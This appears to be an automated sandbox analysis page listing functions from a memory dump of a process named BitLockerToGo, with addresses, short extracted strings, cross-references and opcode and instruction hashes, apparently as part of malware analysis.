String ID: 7$ZjYl$ef
API String ID: 0-943923054
Opcode ID: 5cb7366f85f7311a0482972f49a88fe8a35cd9114ed31f12551c82d03587fa01
Instruction ID: b927d38c0823e34978966d68cd0bc366805b75e3bdb679542b6ca94706f88824
Opcode Fuzzy Hash: 5cb7366f85f7311a0482972f49a88fe8a35cd9114ed31f12551c82d03587fa01
Instruction Fuzzy Hash: 27711BB060C3D08BD3658B3994A17EBBBD09F93314F28C96ED5DD8B382CA79440A8757

Function 0047C8C9 Relevance: 4.0, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

7, xrefs: 0047CB00
ef, xrefs: 0047CC2E
ZjYl, xrefs: 0047CC0D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7$ZjYl$ef
API String ID: 0-943923054
Opcode ID: e56fdd27e0123e9163d455dc71d4b432eb36293acd80bb192608007fc35126f9
Instruction ID: 094462d7138adf8d9e34443285f81f9bdab5021995c84d19929d285c4faf45de
Opcode Fuzzy Hash: e56fdd27e0123e9163d455dc71d4b432eb36293acd80bb192608007fc35126f9
Instruction Fuzzy Hash: E071FBB060C3C18BD3658B3994A17EBBBD09F93314F28C96ED5DD8B382CA79444A8757

Function 0047C93D Relevance: 4.0, Strings: 3, Instructions: 256COMMON

Download Yara Rule

Strings

7, xrefs: 0047CB00
ef, xrefs: 0047CC2E
ZjYl, xrefs: 0047CC0D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7$ZjYl$ef
API String ID: 0-943923054
Opcode ID: 674682cdff99ebac7b53e4e28deba82746067c2205645ba73eb32f96b885a146
Instruction ID: 03c0a147cd99a2de4204b749523d9c8db682a1f036b61b25f441666b7573f814
Opcode Fuzzy Hash: 674682cdff99ebac7b53e4e28deba82746067c2205645ba73eb32f96b885a146
Instruction Fuzzy Hash: 58710AB050C3C18BD3658B3994A27EBBBD09F93314F28C96ED5DD8B382CA79444A8757

Function 0047B4A5 Relevance: 4.0, Strings: 3, Instructions: 251COMMON

Download Yara Rule

Strings

#G, xrefs: 0047B4B0
WeTg, xrefs: 0047B75E
pq, xrefs: 0047B77F

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: #G$WeTg$pq
API String ID: 0-1652550598
Opcode ID: b80dc84b1d62090fc5d4443e0bab6c1670936563087ddf6f8f69ab2abb63606f
Instruction ID: 2e15b4f9d696fee8bafbd10ac21e44275103dd66deb28bb0bfeb3543752ff44e
Opcode Fuzzy Hash: b80dc84b1d62090fc5d4443e0bab6c1670936563087ddf6f8f69ab2abb63606f
Instruction Fuzzy Hash: DE61C17190D3D18AD325CB2584607EBBBE1EFD2304F18896ED5CD5B342DB7944068B9A

Function 0047281D Relevance: 3.9, Strings: 3, Instructions: 149COMMON

Download Yara Rule

Strings

XS, xrefs: 00472952
x~v~, xrefs: 004728DA
g;pr, xrefs: 004728E2

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: XS$g;pr$x~v~
API String ID: 0-2786257683
Opcode ID: 2717e089d93bcc80282abfee89a779a5755a61d5ea2bd807d4343850fd2c7f6b
Instruction ID: eec59ad20fbcc35fa44e57512c98952311ad87732867fa1ba96c8ccab3cc0341
Opcode Fuzzy Hash: 2717e089d93bcc80282abfee89a779a5755a61d5ea2bd807d4343850fd2c7f6b
Instruction Fuzzy Hash: 394116F02083408FD7149F29985176FBBE1FBA6315F148A2EE1D69B3A0D779C941CB0A

Function 00454C10 Relevance: 3.3, Strings: 2, Instructions: 825COMMON

Download Yara Rule

Strings

8, xrefs: 0045558D
0, xrefs: 00455595

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 720996da9b227c28856ffc997d2ba7a0a0382bc9ac054635e9468280b93b132d
Instruction ID: abf0bd5007e0a28feef1a17ddd9cb00017a87db2347c630f742681cd26c0577d
Opcode Fuzzy Hash: 720996da9b227c28856ffc997d2ba7a0a0382bc9ac054635e9468280b93b132d
Instruction Fuzzy Hash: C37249715083409FD714CF18C890BABBBE1BF88319F44891EF9988B392D779D958CB96

Function 00466628 Relevance: 3.0, Strings: 2, Instructions: 490COMMON

Download Yara Rule

Strings

\Z[\, xrefs: 0046682E
rkF, xrefs: 00466B67

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: \Z[\$rkF
API String ID: 0-439846777
Opcode ID: 135095d13851acbe263856d5606749621940399603fb3e938d0c58ab404a748d
Instruction ID: ba270e9dbe1725dca084d9b4bcb852e2c1f514313f9ce18d0df564c45bc083f0
Opcode Fuzzy Hash: 135095d13851acbe263856d5606749621940399603fb3e938d0c58ab404a748d
Instruction Fuzzy Hash: CBF10472A082508FD724DF28D89176BB7E1EB95305F16893EE4DA87351E738AC05CB87

Function 004542E0 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 0045435B
IEND, xrefs: 004546D1

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 60bb0b2d5317d8de7909e6f86ec825f4a520d66d95a5028a60cd6b597090a8dc
Instruction ID: 4724041ebbf2627e6301c64067db26ce40d6edb2021ebbfa0f6b64223a377995
Opcode Fuzzy Hash: 60bb0b2d5317d8de7909e6f86ec825f4a520d66d95a5028a60cd6b597090a8dc
Instruction Fuzzy Hash: C9D1CE71608344AFE710CF15C84179FBBE0AB95308F14492EFD99AB382D778D948CB9A

Function 00471E80 Relevance: 2.8, Strings: 2, Instructions: 320COMMON

Download Yara Rule

Strings

W&Y8, xrefs: 00471EBA
wY, xrefs: 00472101

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: W&Y8$wY
API String ID: 0-3891952581
Opcode ID: 2507c72a95234646bc5989b5d4c2dbe09dc53e3271321e4a318e19942e5a0e06
Instruction ID: 0e36f2370318680c7272024c6a16cd6ac1239a71965ee9bfeaf052a672b7d637
Opcode Fuzzy Hash: 2507c72a95234646bc5989b5d4c2dbe09dc53e3271321e4a318e19942e5a0e06
Instruction Fuzzy Hash: 3D913B716043019BD724DF24CC92BAB77A5EF81318F15842DFA898B391E7BDD809C76A

Function 00467BC3 Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

7, xrefs: 00467D05
gfff, xrefs: 00467D4A

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7$gfff
API String ID: 0-3777064726
Opcode ID: 35a57d1682e5977cde182286109dba063e5ba34ffb1cf6adfafa372e5608980a
Instruction ID: 9b55ffdf82116554c499ab2b1b30563f75bdb53e445278d2886738a27af4b332
Opcode Fuzzy Hash: 35a57d1682e5977cde182286109dba063e5ba34ffb1cf6adfafa372e5608980a
Instruction Fuzzy Hash: 2B7137766182018FD718CF28C851B6B77E6EBC5319F49C53EE485C7352EA38D80587C6

Function 0048BCCB Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 0048BC1D
@, xrefs: 0048BD35

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 13506d9f51f0725fbff490ae71a12c0f857b65aa8ee9073c70b5c47fb35bf0cc
Instruction ID: 2261653b42abb053f5dbe648389041af9374e3ca33a3b931b149c2d7ca94ea33
Opcode Fuzzy Hash: 13506d9f51f0725fbff490ae71a12c0f857b65aa8ee9073c70b5c47fb35bf0cc
Instruction Fuzzy Hash: 8C417C706083108FE715DF29C4A132FB7E2EFEA304F14592EE4C69B364D73998058B9A

Function 00489EF0 Relevance: 2.0, Strings: 1, Instructions: 708COMMON

Download Yara Rule

Strings

f, xrefs: 0048A181

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: 442463b6c4acb0a3f759a1beafb8f1901fbc7351451f4f9dc5074da67ba86715
Instruction ID: 0a637742b7155aa1c002dde01e05ae1e919d01256e578745514914ba7a502f90
Opcode Fuzzy Hash: 442463b6c4acb0a3f759a1beafb8f1901fbc7351451f4f9dc5074da67ba86715
Instruction Fuzzy Hash: DD22F0716083018FE714DF28C890A2FB7E2EBD9314F188A2EE58297391D679EC15CB57

Function 004790BA Relevance: 1.8, Strings: 1, Instructions: 586COMMON

Download Yara Rule

Strings

T3, xrefs: 0047967E

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: T3
API String ID: 0-344261593
Opcode ID: d95edc0607edab9827d2177dc08f7638887f473107389c3a07ade987df51399b
Instruction ID: 21cfa7a1a8bd231b5145c2e4bf8d1b541b15b05280d9092698ecb113af1204fc
Opcode Fuzzy Hash: d95edc0607edab9827d2177dc08f7638887f473107389c3a07ade987df51399b
Instruction Fuzzy Hash: 26125675E04214DFDB04CF68D881AEE77B1BF9A314F09427AE815A7392C7399D02CB98

Function 00478716 Relevance: 1.7, Strings: 1, Instructions: 477COMMON

Download Yara Rule

Strings

?, xrefs: 00478856

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-3565122415
Opcode ID: 5b62c29318f011f4e130d1dd0437e1d0f2a0f2e6461b05b67e92b8c52670fc09
Instruction ID: a820787184e4432ae99e2c705d18783034c3c661ab8059c601df747b7596db89
Opcode Fuzzy Hash: 5b62c29318f011f4e130d1dd0437e1d0f2a0f2e6461b05b67e92b8c52670fc09
Instruction Fuzzy Hash: 0CD121B5A493008AD7249F64C81677BB3F1EFD1304F08C92DE4D99B3A1EB788905C79A

Function 0047A0D0 Relevance: 1.7, Strings: 1, Instructions: 402COMMON

Download Yara Rule

Strings

", xrefs: 0047A3D6

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: fe902692c3b8d53163594c6caf9ebea2b27079d1cbe6db476b91e9a148f98053
Instruction ID: db0f14f39416bf80099ff989acb2d51f08534cd0980dd85aadd0f0eef2bbf2fc
Opcode Fuzzy Hash: fe902692c3b8d53163594c6caf9ebea2b27079d1cbe6db476b91e9a148f98053
Instruction Fuzzy Hash: C3C1F272A083109BD714CE25C485BAFB7E9ABC4314F19C96EE89D87382E738DC548797

Function 00476F8F Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

>, xrefs: 0047705D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 6adc80c271d8342cd39bf224d59c3dce64fba14735daa431242638f2c25b6247
Instruction ID: ffb7c9a1b4a0faf5d9b4a52034b1b58c8cbae4159524c4376c844a93fce787ea
Opcode Fuzzy Hash: 6adc80c271d8342cd39bf224d59c3dce64fba14735daa431242638f2c25b6247
Instruction Fuzzy Hash: FBB11571A04204CFDB14CF68D891BAEBBB2FB89314F25853ED505AB791D735A902CF94

Function 0046DA00 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

~, xrefs: 0046DACB

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: f8b32380f23d3dfcc73132519827cf971ba1ea6f10a2daa04fe49a77ecfa021c
Instruction ID: 741d7e00cd65fa675e00fc790a352877035fd33092f31f791fa831c31919c069
Opcode Fuzzy Hash: f8b32380f23d3dfcc73132519827cf971ba1ea6f10a2daa04fe49a77ecfa021c
Instruction Fuzzy Hash: C8814972E042614FC7218E28C85136BBBD1AB85324F1DC63EECB99B386D6389C05D3D2

Function 00455EC0 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00455FF6

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 117ff63be0be23f5ec98320ee74d003667c73d5058d94a6249ac822727b72163
Instruction ID: b3d5b452f3a72bd5a429dfc6655fdcca04fd672bd83db38e53fe507299da25da
Opcode Fuzzy Hash: 117ff63be0be23f5ec98320ee74d003667c73d5058d94a6249ac822727b72163
Instruction Fuzzy Hash: 37B158712097819FC320CF18C89061BFBE0AFA9704F444A6EF5D997782D635E908CBA7

Function 00473C00 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

2=G, xrefs: 00473D25

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2=G
API String ID: 0-1526625377
Opcode ID: 606e8d2a0ab9efd6dec3864a182ac106b258ebaa3b31ddf875d9a24f4df801d0
Instruction ID: da55c47143f3f70a42458ec4598511e62ce723d3d18be4e5721483a0905986b0
Opcode Fuzzy Hash: 606e8d2a0ab9efd6dec3864a182ac106b258ebaa3b31ddf875d9a24f4df801d0
Instruction Fuzzy Hash: FB6135726083409FE724CF24DC46BDFB7E4EBD5308F04483EE9989B281D774950A8B96

Function 00464DAF Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

"NF, xrefs: 00464E14

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "NF
API String ID: 0-902679986
Opcode ID: 3a23bccb56e9e6c4b8018378dd6e46d72064aa5d52197bc03e97fcc8a38beef0
Instruction ID: 388f97be088af2a149fb697d5729ccf0d03740bfbb41f133c5a93223da2c456f
Opcode Fuzzy Hash: 3a23bccb56e9e6c4b8018378dd6e46d72064aa5d52197bc03e97fcc8a38beef0
Instruction Fuzzy Hash: 83514775A00205CFDF08CF68DC516BE73B2FB99316F18847EE542A7294E738AA11CB94

Function 00480D10 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

d, xrefs: 00480D7D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 43423378ca69cc9288430fd9d8a80c82f40022ce69522238eee6dfe8b8722f48
Instruction ID: 579aeb4980f0bfb9e130ab4e3fcda0da581b192581c07440a8bb19098b3ac78d
Opcode Fuzzy Hash: 43423378ca69cc9288430fd9d8a80c82f40022ce69522238eee6dfe8b8722f48
Instruction Fuzzy Hash: 195148227696904BD338A93C5C5127E7A930BD2334F2DCB7FE5F18B3E5D5A9480A8315

Function 00477FD1 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

kl, xrefs: 0047809A

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: kl
API String ID: 0-2211745248
Opcode ID: dc0d4d5ba0b28efc5eae71535fa4b2ee82578983648a3b763f7d6862cb37d8b5
Instruction ID: ec0d56bfe195a417652aab9fb53839f9f64348a20f40dad980aa13a10ef0974e
Opcode Fuzzy Hash: dc0d4d5ba0b28efc5eae71535fa4b2ee82578983648a3b763f7d6862cb37d8b5
Instruction Fuzzy Hash: 5D4124B59093018BD3209F59C88276BB3F1FFC5314F15892EE9994B391FB789905C74A

Function 00473DA0 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

2=G, xrefs: 00473D25

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2=G
API String ID: 0-1526625377
Opcode ID: 921aaf6dc8f8f0023e8fa56dcfb8cf1178b3ecc3ce4a06c221b7605c57bd5d1c
Instruction ID: a20d484de1f7534fea63233fd4d2bb77d2a0fb82217939c24609da96872e9e0d
Opcode Fuzzy Hash: 921aaf6dc8f8f0023e8fa56dcfb8cf1178b3ecc3ce4a06c221b7605c57bd5d1c
Instruction Fuzzy Hash: E54127712083409FE710CF28EC4279FB7E4EBD5305F05883EF99897291D779990A9B56

Function 0048BF6A Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

4 fg, xrefs: 0048BF80

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4 fg
API String ID: 0-2251411152
Opcode ID: 1f50cd7010000490fdc96b31a8b850f6e635596641f932522b99fa7355fb2cf9
Instruction ID: 0aa6e0a147dde351f158c55a98a1c2b41823db81d86618717cfb7b211c25b14f
